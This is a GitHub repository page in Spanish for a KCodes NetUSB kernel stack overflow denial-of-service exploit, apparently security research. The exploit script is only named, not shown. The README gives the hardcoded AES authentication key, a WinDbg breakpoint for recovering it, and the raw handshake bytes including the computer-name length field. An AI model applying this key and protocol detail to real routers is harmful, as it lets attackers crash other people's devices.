No description, website, or topics provided.
Python
Switch branches/tags
Nothing to show
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Failed to load latest commit information.
NetUSB-exploit.py
README.md

README.md

Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)

Dependencias

pip install pycrypto

Clave de cifrado / descifrado simétrico para la autenticación mutua entre cliente y servidor NetUSB.

AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"

Depuración del driver NetgearUDSTcpBus.sys con WinDbg

bu NetgearUDSTcpBus+1793d #Dirección RVA del driver donde poner el breakpoint para obtener la clave de cifrado almacenada en eax.

Ejemplo comunicación KCodes NetUSB con handshake y envío del nombre del equipo cliente junto con la longitud del mismo.

#send
char peer0_0[] = {
0x56, 0x05 };
'Random data para cifrar por el dispositivo'
char peer0_1[] = {
0x44, 0xad, 0x16, 0x46, 0xbd, 0xcd, 0xb7, 0x3f, 
0x6d, 0x8c, 0xae, 0x6c, 0x42, 0x32, 0xbc, 0x53 };

#recv
'Random data cifrado por el dispositivo'
char peer1_0[] = {
0xcf, 0x08, 0x2b, 0x80, 0x46, 0x9b, 0x31, 0x28, 
0x4c, 0x76, 0xc4, 0x10, 0xda, 0xb6, 0x8c, 0x25 };
Random data para cifrar por el cliente'
char peer1_1[] = {
0xd2, 0x5d, 0xa7, 0xe7, 0xa7, 0xf7, 0x39, 0xeb, 
0x1e, 0xd3, 0x5b, 0xac, 0x34, 0x50, 0xec, 0x96 };

#send
Random data cifrado por el cliente'
char peer0_2[] = {
0x14, 0xa4, 0xe6, 0x5b, 0x8a, 0x0c, 0x04, 0x87, 	
0x5c, 0x76, 0x2b, 0xb6, 0xb9, 0xf0, 0xa6, 0xf2 };
#bytes con la longitud en caracteres del nombre del equipo
char peer0_3[] = {
0x0c, 0x00, 0x00, 0x00 };
#Nombre del equipo
char peer0_4[] = {
0x4d, 0x53, 0x4a, 0x33, 0x39, 0x53, 0x4b, 0x53, 
0x4b, 0x4b, 0x53, 0x41 };
char peer0_5[] = {
0x07, 0x00, 0x00, 0x00 };

#recv
char peer1_2[] = {
0x07, 0x00, 0x00, 0x00 };

#send
char peer0_6[] = {
0x01 };

Credits

  • Adrián Ruiz
  • w: funsecurity.net
  • t: @funsecurity.net
  • e: adrian_adrianruiz.net
  • GPG ID: 0x586270E8